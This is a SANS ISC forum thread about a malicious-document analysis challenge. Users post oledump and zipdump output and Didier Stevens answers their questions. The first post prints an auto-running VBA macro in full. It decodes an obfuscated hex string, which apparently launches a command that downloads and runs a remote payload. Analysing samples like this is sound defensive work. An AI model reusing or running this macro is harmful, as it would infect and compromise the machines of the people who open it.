Threat Level: green Handler on Duty: Brad Duncan

SANS ISC: Small Challenge: A Simple Word Maldoc - Part 3 SANS ISC InfoSec Forums

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Small Challenge: A Simple Word Maldoc - Part 3
First trial, but ...

python3 oledump.py /home/pi/Downloads/787a31e76d10db361856a54d27fd085d692dad33762b5378e032d606ffeaef20.zip -s a -v
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run hello("8892894554884595949C8A97988D8A9191538A9D8A45528A9D8A889A998E94939594918E889E45879E9586989845527C456D8E89898A93455288949292869389454D938A9C5294878F8A889945789E98998A9253738A99537C8A8768918E8A93994E5369949C93919486896B8E918A4D4C8D9999955F5454928697889A9898948E915388949254778E985C927898907A6A5A5A73987B538A9D8A4C51498A939B5F798A9295504C816C97757176538A9D8A4C4E604D738A9C5274878F8A8899455288949245788D8A919153669595918E8886998E94934E53788D8A91916A9D8A889A998A4D498A939B5F798A9295504C816C97757176538A9D8A4C4E")
End Sub
Function hello(hlole As String)
Dim holle As Integer
Dim i As Integer
Dim holel
holle = 33
holel = ""
For i = 1 To Len(hlole) Step 2
holel = holel + Chr(CLng("&H" & Mid(hlole, i, 2)) - 37)
Next
hello = holel
End Function

--------------------------------------
python3 oledump.py /home/pi/Downloads/787a31e76d10db361856a54d27fd085d692dad33762b5378e032d606ffeaef20.zip -s a -v | python numbers-to-string.py "n - 37"
Traceback (most recent call last):
File "numbers-to-string.py", line 447, in <module>
Main()
File "numbers-to-string.py", line 440, in Main
NumbersToString(args[0], [''], options)
File "numbers-to-string.py", line 396, in NumbersToString
NumbersToStringSingle(function, filenames, oOutput, options)
File "numbers-to-string.py", line 370, in NumbersToStringSingle
result = ''.join(map(ChrFunction, [eval(function) for n in map(int, results)]))
File "numbers-to-string.py", line 366, in <lambda>
ChrFunction = lambda c: Chr(c, options, translation)
File "numbers-to-string.py", line 308, in Chr
return chr(number)
ValueError: chr() arg not in range(256)
Anonymous
That's normal. This is hexadecimal, not decimal.
You can try my tool base64dump (handles hex too).
DidierStevens

522 Posts
ISC Handler
Proposal: do an analysis for current Emotet, maformed-zip docx with VBA:

python3 zipdump.py Virus/docx/726338c1d3d4edcaded97f31f8d3690d75c182432a6da92888a6596c3be26968.docx -f l
p 0x00000000 data 0:108334l
0x0001a72e PK0304 fil b'[Content_Types].xml'
0x0001a85e PK0304 fil b'_rels/.rels'
0x0001a947 PK0304 fil b'theme/theme/themeManager.xml'
0x0001aa04 PK0304 fil b'theme/theme/theme1.xml'
0x0001b1cb PK0304 fil b'theme/theme/_rels/themeManager.xml.rels'
0x0001b2c6 PK0102 dir b'[Content_Types].xml'
0x0001b307 PK0102 dir b'_rels/.rels'
0x0001b340 PK0102 dir b'theme/theme/themeManager.xml'
0x0001b38a PK0102 dir b'theme/theme/theme1.xml'
0x0001b3ce PK0102 dir b'theme/theme/_rels/themeManager.xml.rels'
1 0x0001b423 PK0506 end
s 0x0001b439 data 111673:69648l
Anonymous
I took a look. It's not a malformed ZIP file. But an OLE file that contains a ZIP file. That's normal for Office documents. Will see if I can write a diary entry explaining this.
DidierStevens

522 Posts
ISC Handler

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